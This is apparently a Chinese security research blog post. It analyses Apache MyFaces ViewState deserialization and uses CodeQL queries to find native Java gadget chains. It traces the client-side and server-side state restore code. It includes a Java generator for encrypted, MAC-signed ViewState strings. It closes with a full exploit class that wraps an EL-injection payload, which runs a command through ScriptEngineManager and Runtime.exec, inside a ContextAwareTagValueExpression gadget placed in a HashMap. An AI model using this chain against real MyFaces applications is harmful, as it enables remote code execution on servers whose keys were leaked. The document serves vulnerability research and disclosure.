这篇文章介绍一下Myfaces反序列化的点，以及借此来利用CODEQL自动化地寻找其原生反序列化链。
利用CODEQL自动化寻找原生链
https://github.com/byname66/GadgetWalker
对于这种不大的项目，我习惯简单粗暴地用maven去下载pom.xml的所有源码到当前目录，并用codeql的无构建模式构造数据库
mvn dependency:unpack-dependencies -Dclassifier=sources -DoutputDirectory=./deps-src
codeql database create myfacesDB --language=java --source-root=. --build-mode=none
下载源码这一步时，也可以自行选择加入tomcat的源码等等，以丰富sink source的链路。
自动化寻找反序列化链普遍的思路就是维护一个sink.qll，source.qll，作为sink，source方法的集合，查询语句中再使用polyCalls进行连通性查询。
这里有几点细节值得注意
1、在没有编译 JDK 源码的情况下，codeql 会经常性地忽略掉 JDK 内部类的 readObject 等方法。
对此我们可以将常见的能接上readObject的方法作为source点，如果找到了相应链条直接衔接上去即可。比如HashMap#hashCode，HashTable#equal等。
2、sink 点条件过于宽松导致大量误报
这点就需要针对性地对应不同的 sink 点制定写法了。
以 EL 注入的 sink 为例，我写的判断逻辑是这样的：
1、EL 注入 sink 方法需要调用有 el / expression 特征包名的类的 getValue 或 findValue 方法
2、该方法调用 getValue 或 findValue 方法的对象必须要是该类成员变量，能够反射修改。（只考虑了这种简单的情况，比如这个对象是由其它方法传递，且可控的这种情况就没有写入逻辑，实现起来要比较复杂）
比如这种就能被视作一个 sink 方法：
public class Test{
javax.el.%.%Expression% expression;
public void imSink(){
expression.getValue();
}
}
3、查询语句注释带上 * @kind path-problem，可以展示路径
查询语句就利用polyCalls谓词配合edges即可。
这里写了一个初始版本，有比较普遍的sink、source点，比较简陋，可以任意补充：
https://github.com/byname66/GadgetWalker
在myfaces的原生链查询中，我们就能查询到这些结果 ：
测试下来还是挺多都能使用的，只是相应的误报还是会有，以后慢慢完善。
反序列化点
处理请求的大体架构也和Mojarra差不多，调用jsf规范的javax.faces.webapp.FacesServlet#service后，进入到myfaces自己实现的org.apache.myfaces.lifecycle去循环 调用六个phase进行六个阶段。
其中也是恢复视图（Restore View）这一步进行了反序列化。
同样，myfaces也分client和server存储viewState
<context-param>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>client</param-value>
</context-param>
server存储viewState的情况下，client to server的依旧是session，服务端会取出该session对应的SerializedViewCollection序列化流并反序列化。
对于服务端存储viewState的情况能否利用进行反序列化稍后再研究，先来简单过过client端存储的反序列化流程和利用。
in client
在myfaces恢复视图的核心逻辑中，会经过两个重要的接口方法：
org.apache.myfaces.application.viewstate.token.StateTokenProcessor#decode()
取出请求中的viewstate参数并作一些操作，结果存入savedStateObject，作为下一步的入参。
client-viewState此处反序列化
org.apache.myfaces.application.StateCache#restoreSerializedView()
对savedStateObject的"后处理"。
server-vieWState服务端此处反序列化
根据viewState存储在客户端/服务端，对应的实现类分别为ClientSideStateTokenProcessor/ServiceSideStateTokenProcessor
ClientSideStateCacheImpl/ServerSideStateCacheImpl
在客户端模式下ClientSideStateTokenProcessor#StateTokenProcessor()方法中，实现了反序列化逻辑：
StateUtils#reconstruct()主要逻辑可以看作这几行：
public static final Object reconstruct(String string, ExternalContext ctx){
bytes = string.getBytes(ZIP_CHARSET);
bytes = decode(bytes); //base64解码
bytes = decrypt(bytes, ctx); //密码学解密
return getAsObject(bytes, ctx); //=readObject
}
其中myfaces是默认加密的，且AES / CBC / PKCS5Padding + HMAC，先验签再解密。这导致了Padding Oracle等密码学 攻击失效，且必须要知道密钥才能进行后续攻击。同Mojarra一样，如果存在任意文件读，可以尝试去web.xml等配置文件读密钥，如果没有指定密钥则随机生成。
可以通过这样一个脚本输出合法的序列化流编码：
import javax.crypto.Cipher;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
public class GenerateLegitString {
// 硬编码的密钥配置（需要与解密端匹配）
private static final String ALGORITHM = "AES"; // 或 "DES" 等
private static final String MODE = "CBC"; // 或 "ECB" 等
private static final String PADDING = "PKCS5Padding";
// 密钥（必须是正确的长度：AES-128=16字节，AES-256=32字节）
private static final byte[] SECRET_KEY_BYTES = "0123456789abcdef".getBytes(); // 16字节
private static final byte[] MAC_KEY_BYTES = "abcdefghijklmnop".getBytes(); // 16字节
// IV（CBC模式需要，16字节）
private static final byte[] IV = "1234567890abcdef".getBytes();
// MAC算法
private static final String MAC_ALGORITHM = "HmacSHA256";
// 字符集
private static final String ZIP_CHARSET = "ISO-8859-1";
public static void main(String[] args) throws Exception {
// 1. 准备要序列化的对象
Object data = createDataObject(); // 创建你的数据对象
// 2. 序列化并压缩
byte[] objectBytes = serializeAndCompress(data);
// 3. 加密和MAC签名
byte[] encryptedBytes = encryptWithMac(objectBytes);
// 4. Base64编码
String finalString = Base64.getEncoder().encodeToString(encryptedBytes);
System.out.println("生成的合法字符串: " + finalString);
}
/**
* 创建要序列化的数据对象
*/
private static Object createDataObject() {
// 根据你的实际需求创建对象
// 例如：Map、List、自定义对象等
java.util.HashMap<String, String> map = new java.util.HashMap<>();
map.put("key1", "value1");
map.put("key2", "value2");
return map;
}
/**
* 序列化并压缩（模拟getAsObject的逆操作）
*/
private static byte[] serializeAndCompress(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(
new DeflaterOutputStream(baos))) {
oos.writeObject(obj);
}
return baos.toByteArray();
}
/**
* 加密并添加MAC签名（decrypt的逆操作）
*/
private static byte[] encryptWithMac(byte[] data) throws Exception {
// 创建密钥
SecretKey secretKey = new SecretKeySpec(SECRET_KEY_BYTES, ALGORITHM);
SecretKey macSecretKey = new SecretKeySpec(MAC_KEY_BYTES, MAC_ALGORITHM.split("Hmac")[1]);
// 1. 加密数据
Cipher cipher = Cipher.getInstance(ALGORITHM + "/" + MODE + "/" + PADDING);
if (IV != null) {
IvParameterSpec ivSpec = new IvParameterSpec(IV);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);
} else {
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
}
byte[] encrypted = cipher.doFinal(data);
// 2. 计算MAC（Encrypt-then-MAC 组合方式）
Mac mac = Mac.getInstance(MAC_ALGORITHM);
mac.init(macSecretKey);
mac.update(encrypted);
byte[] macBytes = mac.doFinal();
// 3. 合并：加密数据 + MAC
byte[] result = new byte[encrypted.length + macBytes.length];
System.arraycopy(encrypted, 0, result, 0, encrypted.length);
System.arraycopy(macBytes, 0, result, encrypted.length, macBytes.length);
return result;
}
/**
* 完整生成方法（供外部调用）
*/
public static String generateLegitString(Object data) throws Exception {
// 序列化并压缩
byte[] objectBytes = serializeAndCompress(data);
// 加密和MAC签名
byte[] encryptedBytes = encryptWithMac(objectBytes);
// Base64编码
return Base64.getEncoder().encodeToString(encryptedBytes);
}
in server
在server-viewState模式下，ServiceSideStateTokenProcessor#code仅仅进行解码操作：
String token
byte[] tokenBytes = token.getBytes(StateUtils.ZIP_CHARSET);
byte[] tokenBytesDecoded = StateUtils.decode(tokenBytes); //base64
String tokenDecoded = new String(tokenBytesDecoded, StateUtils.ZIP_CHARSET);
return tokenDecoded;
此时tokenDecoded是一串16进制字符串，随后在ServerSideStateCacheImpl#restoreSerializedView()先进行十六进制转byte，再作为入参调用ServerSideStateCacheImpl#getSerializedViewFromServletSession()。
这个方法涉及到反序列化的逻辑就这几句：
SerializedViewCollection viewCollection = (SerializedViewCollection) externalContext
.getSessionMap().get(SERIALIZED_VIEW_SESSION_ATTR);
if (viewCollection != null)
{
if (sequence != null)
{
Object state = viewCollection.get(
getSessionViewStorageFactory().createSerializedViewKey(
context, viewId, sequence));
if (state != null)
{
serializedView = deserializeView(state);
}
}
}
从ServletExternalContextImpl实例的_sessionMap中获取键为SERIALIZED_VIEW_SESSION_ATTR的值，作为viewCollection。
包装一个描述当前信息的SerializedViewKey，并作为键从获得的viewCollection取值。
deserializeView方法只会对byte[]类型的入参反序列化。
只要经过调试我们就能发现，用我们如今的配置无论怎么请求 ，state，也就是deserializeView的入参一般都不会是byte：
到底什么情况下这里的value值才会是byte[]呢？
这里也涉及到Myfaces的默认配置：
<context-param>
<param-name>org.apache.myfaces.SERIALIZE_STATE_IN_SESSION</param-name>
<param-value>true</param-value>
</context-param>
Myfaces默认这条配置为false，体现在代码逻辑中就是，Myfaces对server-viewState默认以对象的方式存储，而不是序列化流。
鉴于几乎没人去开启这个配置，官方文档里面这个配置也是被拜访在犄角旮旯里面，查都难以查到，这里就不深入去谈论开启这个选项的利用了。
我们不妨转而去深挖，就让一切都在默认配置的状态下，这个_sessionMap能否被注入一个带有恶意byte[]的viewCollection呢？
对_sessionMap寻找调用，唯一一个能控制写入值的方法就是ServletExternalContextImpl#getSessionMap()：
_sessionMap是ServletExternalContextImpl的成员变量，而ServletExternalContextImpl相当于一个JSF请求的生命周期，我们可以为_sessionMap设定一个Field Watchpoint，以便监听它在整个生命周期中值的变化。
可以发现整个请求过程中，_httpServletRequest都是TOMCAT容器里面的RequestFacade。
SerializedViewCollection viewCollection = (SerializedViewCollection) externalContext
.getSessionMap().get(SERIALIZED_VIEW_SESSION_ATTR);
if (viewCollection != null)
{
if (sequence != null)
{
Object state = viewCollection.get(
getSessionViewStorageFactory().createSerializedViewKey(
context, viewId, sequence));
if (state != null)
{
serializedView = deserializeView(state);
}
}
}
再来看这几行代码，也就是说，先获取RequestFacade里面存储的SerializedViewCollection，再从这个SerializedViewCollection中通过get获取key对应的value。
实际上是通过SerializedViewCollection中的_serializedViews.get(key)进行获取。
private final Map<SerializedViewKey, Object> _serializedViews =
new HashMap<SerializedViewKey, Object>();
问题来了，RequestFacade里面存储的SerializedViewCollection可控吗？如果可控我们此处就可以让传入deserializeView的state为恶意徐序列化流。
答案是不能。
SerializedViewCollection在myfaces框架里就相当于是session，在Tomcat内置的getSession方法中被创建，且有且只有这一个创建的路径。
当然SerializedViewCollection在外部有一些地方被调用了put方法：
可惜的是，单纯的处理请求的调用链无法可控地去操控这些put。
链子寻找/利用
那么看来，myfaces框架反序列化的利用就限定于client-viewState的情况了，且，还要想办法去获取它的私钥，可能利用的情景只能是这样：
比如某某OA就利用了myfaces框架且把私钥硬编码在了web.xml等配置文件。应用自己声明了私钥，且存在任意文件读，能去web.xml等配置文件里面读私钥。
利用前面提到的CODEQL自动化寻找，我们可以找到挺多能够原生利用的链子的，比如这里随便用一个：
包装好ContextAwareTagValueExpression后，放到HashMap的key位置即可。
public class bornSer {
private static final String ALGORITHM = "DES";
private static final String MODE = "ECB";
private static final String PADDING = "PKCS5Padding";
private static final byte[] SECRET_KEY_BYTES = {
37, 121, -50, 81, 28, 98, 59, 52
};
private static final byte[] MAC_KEY_BYTES = {
-38, -114, 119, -107, -65, -7, 76, -51, 5, 126, -86, 78, -30, -96, -122, 32, -126, -91, -65, 84, 7, -122, 106, -69, 123, 33, 49, 36, 46, -17, -95, 3, -54, 27, 119, 111, 42, 105, 17, 59, 87, 113, 38, 29, -119, -42, -82, 87, 43, 43, -63, -89, -1, 101, -81, 19, 79, -121, 74, -120, 112, 98, -7, 96
};
private static final byte[] IV = null;
private static final String MAC_ALGORITHM = "HmacSHA1";
public static void main(String[] args) throws Exception {
Object data = createDataObject();
String base64 = generateLegitString(data);
String urlEncoded = URLEncoder.encode(base64, "UTF-8");
System.out.println("===== 生成的合法字符串 =====");
System.out.println("URL编码后: " + urlEncoded);
}
private static Object createDataObject() throws IllegalAccessException, NoSuchFieldException {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext initContext = new FacesELContext(new CompositeELResolver(), fc);
Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
field.setAccessible(true);
field.set(fc, initContext);
ExpressionFactory initFactory = ExpressionFactory.newInstance();
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
ELContext elContext = new StandardELContext(expressionFactory);
String exp = "${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
ValueExpression valueExpression = expressionFactory.createValueExpression(elContext, exp, Object.class);
ValueExpressionMethodExpression valueExpressionMethodExpression = new ValueExpressionMethodExpression(valueExpression);
TagAttribute tagAttribute = new TagAttributeImpl(null, "", "test", "test", "123");
ValueExpressionLiteral valueExpressionLiteral = new ValueExpressionLiteral(valueExpressionMethodExpression,Object.class);
ContextAwareTagValueExpression contextawaretagvalueexpression = new ContextAwareTagValueExpression(tagAttribute,valueExpressionLiteral);
HashMap hashMap = new HashMap();
hashMap.put(contextawaretagvalueexpression,"byname");
return hashMap;
}
private static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
}
return baos.toByteArray();
}
private static byte[] encryptWithMac(byte[] data) throws Exception {
SecretKey secretKey = new SecretKeySpec(SECRET_KEY_BYTES, ALGORITHM);
SecretKey macSecretKey = new SecretKeySpec(MAC_KEY_BYTES, MAC_ALGORITHM);
// 1. 加密
Cipher cipher = Cipher.getInstance(ALGORITHM + "/" + MODE + "/" + PADDING);
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] encrypted = cipher.doFinal(data);
// 2. 计算 MAC
Mac mac = Mac.getInstance(MAC_ALGORITHM);
mac.init(macSecretKey);
mac.update(encrypted);
byte[] macBytes = mac.doFinal();
byte[] result = new byte[encrypted.length + macBytes.length];
System.arraycopy(encrypted, 0, result, 0, encrypted.length);
System.arraycopy(macBytes, 0, result, encrypted.length, macBytes.length);
return result;
}
public static String generateLegitString(Object data) throws Exception {
byte[] bytes = serialize(data); // 不再压缩
byte[] encrypted = encryptWithMac(bytes);
return Base64.getEncoder().encodeToString(encrypted);
}
}